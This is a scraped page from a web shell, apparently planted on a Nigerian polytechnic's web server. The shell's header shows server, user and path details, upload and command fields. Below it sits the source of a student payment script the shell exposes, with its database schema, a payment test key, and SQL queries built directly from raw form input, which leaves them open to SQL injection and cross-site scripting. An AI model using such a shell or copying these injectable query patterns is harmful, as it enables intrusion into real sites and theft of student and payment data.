403Webshell
Server IP : 172.64.80.1  /  Your IP : 108.162.241.67
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/admin_student/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/admin_student/testFluter_process.php
<script src="https://checkout.flutterwave.com/v3.js"></script>
<?php
ob_start();

include('headMain2.php');
extract($_POST);
/**
 * Created by PhpStorm.
 * User: adisa
 * Date: 3/2/2016
 * Time: 3:31 PM
 */
//session_start();
$id=substr($payerPhone,8);
//$id=1;
$timesammp=DATE("dmyHis");
if ($id<10){
    $id='0000'.$id;
}else if($id<100){
    $id='000'.$id;
}else if($id<1000){
    $id='00'.$id;
}else if($id<10000){
    $id='0'.$id;
}else{
    $id=$id;
}
$orderID=mt_rand(10000, 99999).$id.'0';

require('../connect.php');
$db=db_connect();
$_SESSION['payerName']=$payerName;
$_SESSION['payerID']=$_SESSION['idNo']=$regNo=$idNo;
$_SESSION['payerEmail']=$payerEmail;
$_SESSION['payerPhone']=$payerPhone;
$_SESSION['amount']=$amt;
$_SESSION['charges']=$amtc;
$_SESSION['totalAmount']=$amt+$amtc;
//echo $paymentType=$ptypek;
$ptype1=explode(',',$_POST['ptype']);
$paymentType=$_SESSION['paymentTYPE']=$ptype1[0];

$specialAspoa="select * from paymentspecial where paymentName='$paymentType'";
$specialAspoaQuery=$db->query($specialAspoa);
if ($specialAspoaQuery->rowCount()==1){
    $specialAspoa_fetch=$specialAspoaQuery->fetch(PDO::FETCH_BOTH);
    $_SESSION['amount']=$specialAspoa_fetch['typeCost'];
    $_SESSION['charges']=$specialAspoa_fetch['typecharges'];
    $_SESSION['totalAmount']=$specialAspoa_fetch['totalAmount'];
//    die();
}
// $paymentType=$_SESSION['ptype'];

?>
<br>

<div class="col-lg-8 col-lg-offset-2">
    <div class="form-group">
        <label class="col-sm-4 control-label">Payer Name</label>
        <div class="col-sm-8">
            <input type="text" class="form-control" value="<?php echo $_SESSION['payerName']  ;?>"  name="name" id="payerName" >
        </div>
    </div>
    <div class="form-group">
        <label class="col-sm-4 control-label">Payer Email</label>
        <div class="col-sm-8">
            <input type="text" class="form-control" value="<?php echo $_SESSION['payerEmail'];?>" name="email" id="payerEmail" >
        </div>
    </div>
    <div class="form-group">
        <label class="col-sm-4 control-label">Payer Phone</label>
        <div class="col-sm-8">
            <input type="text" class="form-control" value="<?php echo $_SESSION['payerPhone'] ;?>" name="phone" id="payerPhone">
        </div>
    </div>
    <div class="form-group">
        <label class="col-sm-4 control-label">Amount</label>
        <div class="col-sm-8">
            <input type="text" class="form-control" value="<?php echo $_SESSION['amount'] ;?>" name="f_amount" disabled="disabled">
        </div>
    </div>
    <div class="form-group">
        <label class="col-sm-4 control-label">Processing Fee</label>
        <div class="col-sm-8">
            <input type="text" class="form-control" value="<?php echo $_SESSION['charges']  ;?>" name="f_charges" disabled="disabled">
        </div>
    </div>
    <div class="form-group">
        <label class="col-sm-4 control-label">Total Amount</label>
        <div class="col-sm-8">
            <input type="text" class="form-control" value="<?php echo $_SESSION['totalAmount'] ;?>" name="amount" id="amount" disabled="disabled">
        </div>
    </div>
    <?php
//    include 'remita_constants2.php';
    $totalAmount = $_SESSION['totalAmount'];






        echo '<html>
<head>

</head>
<style type="text/css">
        body {
            background-color: #CFD1DE;
            background-image: url(../images/logo2fade.png);
        }
    </style>
<body>


<form>

<div class="form-group">
	<label class="col-sm-4 control-label">Payment Type</label>
	<div class="col-sm-8">

		<select name="paymenttype" class="form-control">
			<option value=""> -- Select --</option>
			<option value="REMITA_PAY"> Remita Account Transfer</option>
			<option value="Interswitch"> Verve Card</option>
			<option value="UPL"> Visa</option>
			<option value="UPL"> MasterCard</option>
			<option value="PocketMoni"> PocketMoni</option>
			<option value="RRRGEN"> POS</option>
			<option value="ATM"> ATM</option>
			<option value="BANK_BRANCH">BANK BRANCH</option>
			<option value="BANK_INTERNET">BANK INTERNET</option>
		</select>
	</div>
</div>

 <div class="form-group">
	<div class="col-sm-8 col-sm-offset-4">

		<button type="button" onClick="makePayment()">Pay Now</button>
	</div>
</div>
	</form>


</div>

</body>
</html>';
        //echo "Here _o";

//    echo "Here";
        require('../filetoU/logFile.php');
        $logD='OrderID: '.$orderID.' PaymentType: '.$paymentType;
        logDetail($idNo,$logD);
        $ip2=$_SERVER['HTTP_X_FORWARDED_FOR'];
        $ip1=$_SERVER['REMOTE_ADDR'];
//    $amount=$amount-100;
        $db->query("INSERT INTO `fedpoly`.`remitaorder` (`sn`, `orderID`, `remitaRRR`, `transDate`, `transStatus`, `regNo`, `transDetail`, `amtPaid`, `paymentType`, `transApproved`,`clientIP`,`clientProxy`,`descr`,`pay_session`) VALUES  (NULL, '$orderID', '0', '0', '-1', '$regNo', 'Not Yet Approved', '$amt', '$paymentType', 'False','$ip1','$ip2','$pdis','2019/2020')");
        $aspoa="INSERT INTO `fedpoly`.`remitaorder_2` (`sn`, `orderID`, `remitaRRR`, `transDate`, `transStatus`, `regNo`, `transDetail`, `amtPaid`, `paymentType`, `transApproved`,`clientIP`,`clientProxy`,`descr`,`pay_session`) VALUES  (NULL, '$orderID', '0', '0', '-1', '$regNo', 'Not Yet Approved', '$amtc', '$paymentType', 'False','$ip1','$ip2','$pdis','2019/2020')";
        $db->query($aspoa);
//    die();
        // $db->query("INSERT INTO `fedpoly`.`remitaorder` (`sn`, `orderID`, `remitaRRR`, `transDate`, `dateCreated`, `transStatus`, `regNo`, `transDetail`, `amtPaid`, `paymentType`, `transApproved`, `bankCode`, `channnel`, `branchCode`, `datesent`, `daterequested`, `clientIP`, `clientProxy`, `descr`, `status`, `pay_session`) VALUES (NULL, '$orderID', '0', '0', CURRENT_TIMESTAMP, '-1', '$formNo', 'Not Yet Approved', '7', '8', '9', '0', '1', '2', '1', '2', '3', '4', '5', '6', '5')");

        //  echo "INSERT INTO `fedpoly`.`remitaorder` (`sn`, `orderID`, `remitaRRR`, `transDate`, `transStatus`, `regNo`, `transDetail`, `amtPaid`, `paymentType`, `transApproved`,`clientIP`,`clientProxy`,`pay_session`) VALUES (NULL, '$orderID', '0', '0', '-1', '$formNo', 'Not Yet Approved', '$amount', '$paymentType', 'False','$ip1','$ip2','2017/2018')";


//    $db->query("UPDATE `fedpoly`.`admitted` SET `email` = '$payerEmail',`gsm` = '$payerPhone',`acceptance`=1 WHERE `admitted`.`formNo` = '$formNo'");

        //  echo "Here";
//    ================ other payment table===================

        $sql="select * from otherpayment where idNo='$regNo'";
        $result=$db->query($sql);
        $num=$result->rowCount();
        if ($num>0){
//    die("here");
//    $dd="UPDATE `fedpoly`.`otherpayment` SET `names` = '$payerName',`email` = '$payerEmail',`phone` = '$payerPhone',`descr` = '$desc',`orderID` = '$orderID' WHERE `otherpayment`.`idNo` ='$idNo' and (`names`='' OR `names`='.')"
//	$db->query($dd);
            $princess=$db->prepare("UPDATE `fedpoly`.`otherpayment` SET `names` = ?,`email` = ?,`phone` = ?,`descr` = ?,`orderID` = ? WHERE `otherpayment`.`idNo` =? and (`names`='' OR `names`='.')");
            $princess->execute([$payerName,$payerEmail,$payerPhone,$pdis,$orderID,$regNo]);
        }else{
            $payerName=str_replace("'","''",$payerName);
            $db->query("INSERT INTO `fedpoly`.`otherpayment` (`sn`, `idNo`, `names`, `email`, `phone`,`descr`,`orderID`) VALUES (NULL, '$regNo', '$payerName', '$payerEmail', '$payerPhone','$desc','$orderID')");
        }
//    ===================end of other payment================================================================

    ?>
</div>
<script>
    var amt = "<?php echo $totalAmount ?>";
    var payerName = "<?php echo $payerName ?>";
    var payerEmail = "<?php echo $payerEmail ?>";
    var payerPhone = "<?php echo $payerPhone ?>";
    var descr = "<?php echo $paymentType ?>";
    function makePayment() {
        FlutterwaveCheckout({
            public_key: "FLWPUBK_TEST-11ac6cacc60e640e90fef9c8482fa958-X",
            tx_ref: "hooli-tx-1920bbtyt",
            amount: amt,
            currency: "NGN",
            country: "NG",
            payment_options: "card,mobilemoney,ussd",
            customer: {
                phone_number: payerPhone,
                email: payerEmail,

                name: payerName,
            },
            callback: function (data) { // specified callback function
                console.log(data);
            },
            customizations: {
                title: "Fed Poly Ede",
                description: descr,
                logo: "https://assets.piedpiper.com/logo.png",
            },
        });
    }
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit